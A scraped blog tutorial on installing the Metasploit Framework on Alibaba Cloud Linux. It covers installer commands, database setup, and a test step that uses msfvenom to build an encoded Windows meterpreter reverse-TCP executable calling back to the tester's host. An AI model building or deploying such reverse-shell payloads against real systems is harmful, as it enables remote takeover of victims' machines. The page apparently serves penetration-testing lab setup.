Detailed explanation of the process of installing msf on Linux system

Detailed explanation of the process of installing msf on Linux system

Or write down the installation process yourself!

My server system is Aliyun linux

1. Download and install
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

Possible error: Couldn't open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit

It's because of the problem of installing the library!
Solution:
yum install -y epel-release
Then repeat the above command!

2. Add a new user and run msf
adduser msf #Add msf user
su msf #Switch to msf user
cd /opt/metasploit-framework/bin #Switch to the directory where msf is located
./msfconsole
#Start msfconsole in the future, switch to msf user to start, so that the database will be synchronized.
If you start it as root user, the database will not be synchronized!
(The startup index is already configured by default!)
Just start msfconsole!

#Related commands [msf@xxxx root]$ msf
msfbinscan msfconsole msfd msfdb  
msfelfscan msfmachscan msfpescan msfrop  
msfrpc msfrpcd msfupdate msfvenom

# Database initialization [msf@xxxx root]$ msfdb
Commands:
 init initializes the component
 reinit delete and reinitialize the component
 delete delete and stop the component
 status check component status
 start start the component
 stop stop the component
 restart restart the component
#test:
For example, my virtual host is Win2003 (target machine)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp 
LHOST=msf_ip 
LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe

Note: If it is an elastic cloud server IP, LHOST should be set to the IP allocated by the intranet, and the public IP cannot be set [I was troubled by this pit for a long time! ! ! Vomiting blood! ! ! ]

insert image description here

ps: Install msf framework under Linux system

Order:

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-installer.run
chmod 755 metasploit-latest-linux-installer.run
./metasploit-latest-linux-installer.run

Just wait for the run to finish. Just press Enter and Y at the key points.

Summarize

This is the end of this article about the detailed process of installing msf on Linux system. For more relevant content about installing msf on Linux system, please search the previous articles of 123WORDPRESS.COM or continue to browse the related articles below. I hope everyone will support 123WORDPRESS.COM in the future!

You may also be interested in:
  • Detailed explanation of php-msf source code
  • Instructions for using the system stored procedures sp_MSforeachtable and sp_MSforeachdb

<<:  Self-study of MySql built-in functions knowledge points summary

>>:  Tutorial on installing mysql8 on linux centos7

Recommend

How to install docker and portainer in kali

With the emergence of docker, many services have ...

Mysql implements null value first/last method example

Preface We already know that MySQL uses the SQL S...

uniapp dynamic modification of element node style detailed explanation

Table of contents 1. Modify by binding the style ...

Detailed explanation of nginx reverse proxy webSocket configuration

Recently, I used the webSocket protocol when work...

The meaning and usage of linux cd

What does linux cd mean? In Linux, cd means chang...

Implementation of React virtual list

Table of contents 1. Background 2. What is a virt...

Detailed explanation of ECharts mouse event processing method

An event is an action performed by the user or th...

Solution to CSS flex-basis text overflow problem

The insignificant flex-basis has caused a lot of ...

Detailed explanation of Linux inotify real-time backup implementation method

Real-time replication is the most important way t...

Web design tips on form input boxes

This article lists some tips and codes about form...

Understanding and usage scenarios of ES6 extension operators

Table of contents 1. Replace the apply method, ge...

Solution to high CPU usage of Tomcat process

Table of contents Case Context switching overhead...

Alibaba Cloud Centos7.3 installation mysql5.7.18 rpm installation tutorial

Uninstall MariaDB CentOS7 installs MariaDB instea...

Detailed usage of kubernetes object Volume

Overview Volume is the abstraction and virtualiza...